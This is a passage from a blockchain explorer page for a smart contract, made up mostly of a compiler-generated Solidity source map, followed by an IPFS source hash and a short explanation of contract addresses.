08:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;2091:248::-;2159:6;2167;2220:2;2208:9;2199:7;2195:23;2191:32;2188:52;;;2236:1;2233;2226:12;2188:52;-1:-1:-1;;2259:23:1;;;2329:2;2314:18;;;2301:32;;-1:-1:-1;2091:248:1:o;2344:260::-;2412:6;2420;2473:2;2461:9;2452:7;2448:23;2444:32;2441:52;;;2489:1;2486;2479:12;2441:52;2512:29;2531:9;2512:29;:::i;:::-;2502:39;;2560:38;2594:2;2583:9;2579:18;2560:38;:::i;:::-;2550:48;;2344:260;;;;;:::o;2609:380::-;2688:1;2684:12;;;;2731;;;2752:61;;2806:4;2798:6;2794:17;2784:27;;2752:61;2859:2;2851:6;2848:14;2828:18;2825:38;2822:161;;2905:10;2900:3;2896:20;2893:1;2886:31;2940:4;2937:1;2930:15;2968:4;2965:1;2958:15;2822:161;;2609:380;;;:::o;2994:127::-;3055:10;3050:3;3046:20;3043:1;3036:31;3086:4;3083:1;3076:15;3110:4;3107:1;3100:15;3126:422;3215:1;3258:5;3215:1;3272:270;3293:7;3283:8;3280:21;3272:270;;;3352:4;3348:1;3344:6;3340:17;3334:4;3331:27;3328:53;;;3361:18;;:::i;:::-;3411:7;3401:8;3397:22;3394:55;;;3431:16;;;;3394:55;3510:22;;;;3470:15;;;;3272:270;;;3276:3;3126:422;;;;;:::o;3553:806::-;3602:5;3632:8;3622:80;;-1:-1:-1;3673:1:1;3687:5;;3622:80;3721:4;3711:76;;-1:-1:-1;3758:1:1;3772:5;;3711:76;3803:4;3821:1;3816:59;;;;3889:1;3884:130;;;;3796:218;;3816:59;3846:1;3837:10;;3860:5;;;3884:130;3921:3;3911:8;3908:17;3905:43;;;3928:18;;:::i;:::-;-1:-1:-1;;3984:1:1;3970:16;;3999:5;;3796:218;;4098:2;4088:8;4085:16;4079:3;4073:4;4070:13;4066:36;4060:2;4050:8;4047:16;4042:2;4036:4;4033:12;4029:35;4026:77;4023:159;;;-1:-1:-1;4135:19:1;;;4167:5;;4023:159;4214:34;4239:8;4233:4;4214:34;:::i;:::-;4284:6;4280:1;4276:6;4272:19;4263:7;4260:32;4257:58;;;4295:18;;:::i;:::-;4333:20;;3553:806;-1:-1:-1;;;3553:806:1:o;4364:140::-;4422:5;4451:47;4492:4;4482:8;4478:19;4472:4;4451:47;:::i;4509:168::-;4582:9;;;4613;;4630:15;;;4624:22;;4610:37;4600:71;;4651:18;;:::i;4682:128::-;4749:9;;;4770:11;;;4767:37;;;4784:18;;:::i;4815:217::-;4855:1;4881;4871:132;;4925:10;4920:3;4916:20;4913:1;4906:31;4960:4;4957:1;4950:15;4988:4;4985:1;4978:15;4871:132;-1:-1:-1;5017:9:1;;4815:217::o;5169:127::-;5230:10;5225:3;5221:20;5218:1;5211:31;5261:4;5258:1;5251:15;5285:4;5282:1;5275:15;5301:980;5563:4;5611:3;5600:9;5596:19;5642:6;5631:9;5624:25;5668:2;5706:6;5701:2;5690:9;5686:18;5679:34;5749:3;5744:2;5733:9;5729:18;5722:31;5773:6;5808;5802:13;5839:6;5831;5824:22;5877:3;5866:9;5862:19;5855:26;;5916:2;5908:6;5904:15;5890:29;;5937:1;5947:195;5961:6;5958:1;5955:13;5947:195;;;6026:13;;-1:-1:-1;;;;;6022:39:1;6010:52;;6117:15;;;;6082:12;;;;6058:1;5976:9;5947:195;;;-1:-1:-1;;;;;;;6198:32:1;;;;6193:2;6178:18;;6171:60;-1:-1:-1;;;6262:3:1;6247:19;6240:35;6159:3;5301:980;-1:-1:-1;;;5301:980:1:o;6286:125::-;6351:9;;;6372:10;;;6369:36;;;6385:18;;:::i

Swarm Source

ipfs://dc7e937ba76a12bf89d03508bb4878a7f89febf00e6883aa8a2bf7aa573209c8

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.